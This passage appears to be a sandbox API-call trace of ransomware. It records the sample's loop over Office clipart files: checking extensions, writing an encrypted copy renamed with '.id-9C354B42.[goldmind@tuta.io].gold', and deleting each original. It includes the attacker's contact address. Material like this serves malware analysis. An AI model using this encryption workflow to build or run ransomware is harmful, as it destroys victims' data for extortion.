lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.895] SetEndOfFile (hFile=0x3f8) returned 1 [0113.897] CloseHandle (hObject=0x3f8) returned 1 [0113.897] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.897] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf")) returned 1 [0113.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0113.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0113.899] lstrlenW (lpString=".doc") returned 4 [0113.899] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.899] lstrlenW (lpString=".docx") returned 5 [0113.899] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0113.899] lstrlenW (lpString=".pdf") returned 4 [0113.899] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.899] lstrlenW (lpString=".xls") returned 4 [0113.899] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.899] lstrlenW (lpString=".xlsx") returned 5 [0113.899] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0113.899] lstrlenW (lpString=".ppt") returned 4 [0113.899] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0113.899] lstrlenW (lpString=".zip") returned 4 [0113.899] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.899] lstrlenW (lpString=".rar") returned 4 [0113.899] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.899] lstrlenW (lpString=".bz2") returned 4 [0113.899] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.899] lstrlenW (lpString=".7z") returned 3 [0113.899] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0113.899] lstrlenW (lpString=".dbf") returned 4 [0113.899] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0113.899] lstrlenW (lpString=".1cd") returned 4 [0113.899] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0113.899] lstrlenW (lpString=".jpg") returned 4 [0113.899] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0113.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0113.899] lstrlenW (lpString=".doc") returned 4 [0113.899] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.899] lstrlenW (lpString=".docx") returned 5 [0113.899] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0113.899] lstrlenW (lpString=".pdf") returned 4 [0113.899] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.899] lstrlenW (lpString=".xls") returned 4 [0113.899] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.899] lstrlenW (lpString=".xlsx") returned 5 [0113.899] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0113.899] lstrlenW (lpString=".ppt") returned 4 [0113.899] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0113.899] lstrlenW (lpString=".zip") returned 4 [0113.899] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.900] lstrlenW (lpString=".rar") returned 4 [0113.900] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.900] lstrlenW (lpString=".bz2") returned 4 [0113.900] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.900] lstrlenW (lpString=".7z") returned 3 [0113.900] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0113.900] lstrlenW (lpString=".dbf") returned 4 [0113.900] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0113.900] lstrlenW (lpString=".1cd") returned 4 [0113.900] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF") returned 63 [0113.900] lstrlenW (lpString=".jpg") returned 4 [0113.900] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.900] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0113.900] lstrlenW (lpString="J0195254.WMF") returned 12 [0113.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0113.901] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=4534) returned 1 [0113.901] CloseHandle (hObject=0x3f8) returned 1 [0113.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf")) returned 0x20 [0113.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0113.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0113.902] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.902] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0113.903] GetLastError () returned 0x0 [0113.903] ReadFile (in: hFile=0x3f8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x11b6, lpOverlapped=0x0) returned 1 [0113.915] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x11c0, lpOverlapped=0x0) returned 1 [0113.916] ReadFile (in: hFile=0x3f8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0113.916] WriteFile (in: hFile=0x3b8, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0113.916] SetEndOfFile (hFile=0x3b8) returned 1 [0113.916] CloseHandle (hObject=0x3b8) returned 1 [0113.916] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0113.916] SetEndOfFile (hFile=0x3f8) returned 1 [0113.918] CloseHandle (hObject=0x3f8) returned 1 [0113.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0113.918] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195254.wmf")) returned 1 [0113.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0113.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0113.919] lstrlenW (lpString=".doc") returned 4 [0113.919] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.919] lstrlenW (lpString=".docx") returned 5 [0113.919] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0113.919] lstrlenW (lpString=".pdf") returned 4 [0113.919] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.919] lstrlenW (lpString=".xls") returned 4 [0113.919] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0113.920] lstrlenW (lpString=".xlsx") returned 5 [0113.920] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0113.920] lstrlenW (lpString=".ppt") returned 4 [0113.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0113.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0113.920] lstrlenW (lpString=".zip") returned 4 [0113.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0113.920] lstrlenW (lpString=".rar") returned 4 [0113.920] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0113.920] lstrlenW (lpString=".bz2") returned 4 [0113.920] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0113.920] lstrlenW (lpString=".7z") returned 3 [0113.920] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0113.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0113.920] lstrlenW (lpString=".dbf") returned 4 [0113.920] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0113.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0113.920] lstrlenW (lpString=".1cd") returned 4 [0113.920] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0113.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0113.920] lstrlenW (lpString=".jpg") returned 4 [0113.920] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0113.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0113.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0113.988] lstrlenW (lpString=".doc") returned 4 [0113.988] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0113.999] lstrlenW (lpString=".docx") returned 5 [0113.999] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0113.999] lstrlenW (lpString=".pdf") returned 4 [0113.999] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0113.999] lstrlenW (lpString=".xls") returned 4 [0114.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.010] lstrlenW (lpString=".xlsx") returned 5 [0114.010] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0114.010] lstrlenW (lpString=".ppt") returned 4 [0114.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0114.018] lstrlenW (lpString=".zip") returned 4 [0114.018] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.018] lstrlenW (lpString=".rar") returned 4 [0114.018] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.018] lstrlenW (lpString=".bz2") returned 4 [0114.018] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.018] lstrlenW (lpString=".7z") returned 3 [0114.018] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0114.019] lstrlenW (lpString=".dbf") returned 4 [0114.019] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0114.019] lstrlenW (lpString=".1cd") returned 4 [0114.019] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195254.WMF") returned 63 [0114.019] lstrlenW (lpString=".jpg") returned 4 [0114.019] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.019] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.019] lstrlenW (lpString="J0196354.WMF") returned 12 [0114.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0114.020] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=13702) returned 1 [0114.020] CloseHandle (hObject=0x3b8) returned 1 [0114.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf")) returned 0x20 [0114.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0114.020] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.020] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0114.022] GetLastError () returned 0x0 [0114.022] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x3586, lpOverlapped=0x0) returned 1 [0114.024] WriteFile (in: hFile=0x198, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x3590, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x3590, lpOverlapped=0x0) returned 1 [0114.024] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.025] WriteFile (in: hFile=0x198, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.025] SetEndOfFile (hFile=0x198) returned 1 [0114.025] CloseHandle (hObject=0x198) returned 1 [0114.025] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.025] SetEndOfFile (hFile=0x3b8) returned 1 [0114.027] CloseHandle (hObject=0x3b8) returned 1 [0114.027] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.027] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196354.wmf")) returned 1 [0114.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF") returned 63 [0114.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF") returned 63 [0114.028] lstrlenW (lpString=".doc") returned 4 [0114.028] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.028] lstrlenW (lpString=".docx") returned 5 [0114.028] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0114.028] lstrlenW (lpString=".pdf") returned 4 [0114.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.028] lstrlenW (lpString=".xls") returned 4 [0114.028] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.028] lstrlenW (lpString=".xlsx") returned 5 [0114.028] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0114.028] lstrlenW (lpString=".ppt") returned 4 [0114.028] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF") returned 63 [0114.028] lstrlenW (lpString=".zip") returned 4 [0114.028] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.028] lstrlenW (lpString=".rar") returned 4 [0114.028] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.028] lstrlenW (lpString=".bz2") returned 4 [0114.028] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.028] lstrlenW (lpString=".7z") returned 3 [0114.028] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF") returned 63 [0114.028] lstrlenW (lpString=".dbf") returned 4 [0114.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF") returned 63 [0114.028] lstrlenW (lpString=".1cd") returned 4 [0114.028] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF") returned 63 [0114.028] lstrlenW (lpString=".jpg") returned 4 [0114.028] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF") returned 63 [0114.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF") returned 63 [0114.029] lstrlenW (lpString=".doc") returned 4 [0114.029] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.029] lstrlenW (lpString=".docx") returned 5 [0114.029] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0114.029] lstrlenW (lpString=".pdf") returned 4 [0114.029] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.029] lstrlenW (lpString=".xls") returned 4 [0114.029] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.029] lstrlenW (lpString=".xlsx") returned 5 [0114.029] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0114.029] lstrlenW (lpString=".ppt") returned 4 [0114.029] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF") returned 63 [0114.029] lstrlenW (lpString=".zip") returned 4 [0114.029] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.029] lstrlenW (lpString=".rar") returned 4 [0114.029] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.029] lstrlenW (lpString=".bz2") returned 4 [0114.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.029] lstrlenW (lpString=".7z") returned 3 [0114.029] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF") returned 63 [0114.029] lstrlenW (lpString=".dbf") returned 4 [0114.029] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF") returned 63 [0114.029] lstrlenW (lpString=".1cd") returned 4 [0114.029] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196354.WMF") returned 63 [0114.029] lstrlenW (lpString=".jpg") returned 4 [0114.029] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.029] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.029] lstrlenW (lpString="J0196358.WMF") returned 12 [0114.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0114.030] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=6912) returned 1 [0114.030] CloseHandle (hObject=0x3b8) returned 1 [0114.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf")) returned 0x20 [0114.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0114.031] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.031] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0114.031] GetLastError () returned 0x0 [0114.031] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x1b00, lpOverlapped=0x0) returned 1 [0114.033] WriteFile (in: hFile=0x198, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x1b10, lpOverlapped=0x0) returned 1 [0114.033] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.034] WriteFile (in: hFile=0x198, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.034] SetEndOfFile (hFile=0x198) returned 1 [0114.034] CloseHandle (hObject=0x198) returned 1 [0114.034] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.034] SetEndOfFile (hFile=0x3b8) returned 1 [0114.035] CloseHandle (hObject=0x3b8) returned 1 [0114.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.036] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0196358.wmf")) returned 1 [0114.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0196358.WMF") returned 63 [0114.037] lstrlenW (lpString="C:\\Program 